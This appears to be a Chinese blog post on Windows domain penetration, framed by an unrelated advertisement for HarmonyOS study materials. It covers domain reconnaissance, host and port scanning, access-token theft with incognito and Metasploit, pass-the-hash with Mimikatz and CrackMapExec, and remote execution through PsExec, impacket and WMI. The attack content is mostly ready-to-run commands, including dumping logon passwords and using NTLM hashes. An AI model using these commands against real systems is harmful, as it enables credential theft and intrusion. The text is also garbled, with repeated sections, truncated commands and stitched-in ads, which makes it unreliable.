先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新HarmonyOS鸿蒙全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上鸿蒙开发知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注鸿蒙)
正文
2、域:
用来描述一种架构,和“工作组”相对应,由工作组升级而来的高级架构,域(Domain)是一个有安全边界的计算机集合(安全边界,意思是在两个域中,一个域中的用户无法访问另一个域中的资源)。可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。
3、域名服务器 DNS
是指用于实现域名和与之相对应的 IP 地址转换 的服务器。而实际上,因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的。
4、域控内部
**NTDS.dit:**域用户帐户以域数据库的形式保存在活动目录中 Ntdsutil.exe-ntdsutil.exe:是域控制器自带的域数据库管理工具,从 windowsServer 2008 开始就默认自带了。因此我们可以通过 ntdsutil.exe 提取出域中所有的域用户信息
5、活动目录
帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。环境集中管理:利用 AD 可以统一客户端桌面,IE,TCP/IP 等设置。增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。更可靠:更少的宕机时间。如:利用 AD 控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。活动目录为 Microsoft 统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。
域信息收集
一、常用命令
query user || qwinsta 查看当前在线用户``net user 查看本机用户``net user /domain 查看域用户``net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多``net view /domain 查看有几个域``net view \\\\dc 查看 dc 域内共享文件``net group /domain 查看域里面的组``net group "domain admins" /domain 查看域管``net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管``net group "domain controllers" /domain 域控``net time /domain``net config workstation 当前登录域 - 计算机名 - 用户名``net use \\\\域控(如 pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源``ipconfig
二、查找域服务器
三、查询域控
ping darkid.hack.com``nslookup darkid.hack.com
四、主机发现
arp -a 查询通信``nbtscan 发现主机``nbtscan.exe -r 192.168.0.1/24
bat命令发现主机
for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1|find /i "ttl="
通过powershell脚本扫描
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep StartAddress 192.168.1.0 -En``脚本下载地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b``#针对单个 IP 的多个端口的扫描:``1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"}``2>$null``#针对某 IP 段中单个端口的扫描:``foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}``#针对某 IP 段 & 多个端口的扫描器``1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$
使用MSF进行扫描
使用 msf 进行反弹 shell 进行内网渗透时,通过 msf 自带的扫描模块进行快速扫描。``#主机存活探测:``auxiliary/scanner/discovery/arp_sweep ARP 扫描``auxiliary/scanner/discovery/udp_sweep UDP 扫描``auxiliary/scanner/netbios/nbname NETBIOS 扫描``auxiliary/scanner/snmp/snmp_enum SNMP 扫描``auxiliary/scanner/smb/smb_version SMB 扫描``#端口扫描:``auxiliary/scanner/portscan/ack TCP ACK 端口扫描``auxiliary/scanner/portscan/ftpbounce FTP bounce 端口扫描``auxiliary/scanner/portscan/syn SYN 端口扫描``auxiliary/scanner/portscan/tcp TCP 端口扫描``auxiliary/scanner/portscan/xmas TCP XMas 端口扫描
内网渗透中的token
概述:令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前
提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
net time #查询域中的时间,会请求域控``net config workstation #查看当前工作环境``nltest /dclist:域后缀 #查询域控
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep StartAddress 192.168.1.0 -En``脚本下载地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b
#针对单个 IP 的多个端口的扫描:
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"}
#针对某 IP 段中单个端口的扫描:
foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}
#使用 msf 进行反弹 shell 进行内网渗透时,通过 msf 自带的扫描模块进行快速扫描。#主机存活探测:
auxiliary/scanner/discovery/arp_sweep ARP 扫描``auxiliary/scanner/discovery/udp_sweep UDP 扫描``auxiliary/scanner/netbios/nbname NETBIOS 扫描``auxiliary/scanner/snmp/snmp_enum SNMP 扫描``auxiliary/scanner/smb/smb_version SMB 扫描
#端口扫描:
auxiliary/scanner/portscan/ack TCP ACK 端口扫描``auxiliary/scanner/portscan/ftpbounce FTP bounce 端口扫描``auxiliary/scanner/portscan/syn SYN 端口扫描``auxiliary/scanner/portscan/tcp TCP 端口扫描``auxiliary/scanner/portscan/xmas TCP XMas 端口扫描
一、描述
1、攻击手段
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
2、令牌的种类
访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾
3、Windows的access token的类型
delegation token:授权令牌,支持交互式会话登录
impersonation token:模拟令牌,非交互式令牌
【注】两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效。
二、AccessToken 的窃取与利用
1、前提
AccessToken 的窃取与利用需要 administrator 管理员权限。
2、窃取access token的方法
incognito.exe 程序
InvokeTokenManipulat.ps1 脚本
MSF 里的 incognito 模块
3、incognito
程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
4、msf窃取token
横向渗透
一、PTH(pass the hash)
概述:pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。
1、pass the hash的原理
在Windows系统中,通常会使用NTLM身份认证
#AccessToken 的列举
incognito.exe list_tokens -u
#操作
incognito.exe execute -c "完整的 Token 名" cmd.exe``incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe``use incognito #加载 incognito``list_tokens -u #列出 AccessToken``getuid #查看当前 token``impersonate_token "NT AUTHORITY\SYSTEM" #模拟 system 用户,getsystem 命令即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即
ps #列出进程pid
steal_token 1252 #从进程窃取 token``getsystem #提升至 system 权限``rev2self #返回到之前的 AccessToken 权限
NTLM认证不使用明文口令,而是使用加密后的hash值,hash值由系统API生成
hash分为LM hash 和NTLM hash,如果密码大于15位则无法生成LM hash,从2008以后微软禁用LM hash
攻击者获取了hash,就可以在身份认证的时候模拟该用户(跳过调用API生成hash的过程)
2、适用范围
域环境/工作组环境
可以获取hash,但是条件是不允许爆破hash
内网中存在和当前机器相同的密码
3、关于微软补丁和禁用
在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号
仍可以进行 Pass The Hash 远程 ipc 连接。
如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。
从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。
4、攻击
使用mimikatz
得到hash后
成功后 会弹出终端 cmd。此时的cmd中以及导入了hash可以进行ipc等连接
二、Psexec
1、概述
psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主
机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。
2、条件
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议。且防火墙要关闭。
3、明文连接
4、hash连接
出现错误的情况可以使用impacket工具包下的psexec连接
privilege::debug``sekurlsa::logonpasswords``mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt``privilege::debug``sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4
#命令
PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456cmd``PsExec.exe /accepteula /s \\192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"
#参数
-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框``-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显``-u 域\用户名``-p 密码
#命令
psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123
5、psexec注意事项
需要远程系统开启 admin$ 共享(默认是开启的)
因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会
产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell
在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。
6、登陆域管理命令
impacket 下的 psexec
python3 psexec.py darkid/Administrator@192.168.0.142
执行命令后输入密码
登陆其他主机管理员
psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd
三、msf的smb连接
1、使用
2、crackmapexec
CrackMapExec 可以对 C 段中的主机进行批量 pth,
项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git
使用命令
四、WMI横向
1、概述
WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中
2、条件
使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123``use exploit/windows/smb/psexec``set SMBUser Administrator``set rhosts 192.168.0.141``set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4``run``crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4``对 192.168.9.0/24 C 段进行批量 pass the hash
3、wmi使用命令
通过wmi执行ipconfig命令
建立ipc连接,读取内容
4、wmiexec.py利用
在 impacket 工具包里有 wmiexec.py 脚本,执行 whoami 命令
【注】wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash aad3b435b51404eeaad3b435b51404ee 这个部分可以随便填写
wmiexec.py 明文获取 shell
5、powershell的wmi
Invoke-WmiCommand
Invoke-WMIMethod
6、wmic 的其他命令
使用 wmic 远程开启目标的 RDP
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"
net use \\192.168.0.123\ipc$ "123456" /user:administrator``type \\192.168.0.123\c$\ip.txt
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141 "whoami
python3 wmiexec.py administrator:123456@192.168.0.123
Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。在 Powershell 中运行以下命令
# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1
# 指定目标系统用户名
$User = “.\administrator”
# 指定目标系统的密码
$Password = ConvertTo-SecureString -String “123456” -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList U s e r , User, User,Password
# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.0.123
# 将执行结果输出到屏幕上
$Remote.PayloadOutput
Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。
# 指定目标系统用户名
$User=“.\administrator”
# 指定目标系统密码
$Password=ConvertTo-SecureString -String “123456” -AsPlainText -Force
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注鸿蒙)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
# 将执行结果输出到屏幕上
$Remote.PayloadOutput
Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。
# 指定目标系统用户名
$User=“.\administrator”
# 指定目标系统密码
$Password=ConvertTo-SecureString -String “123456” -AsPlainText -Force
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注鸿蒙)
[外链图片转存中…(img-ZEYgFsSd-1713378031844)]
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!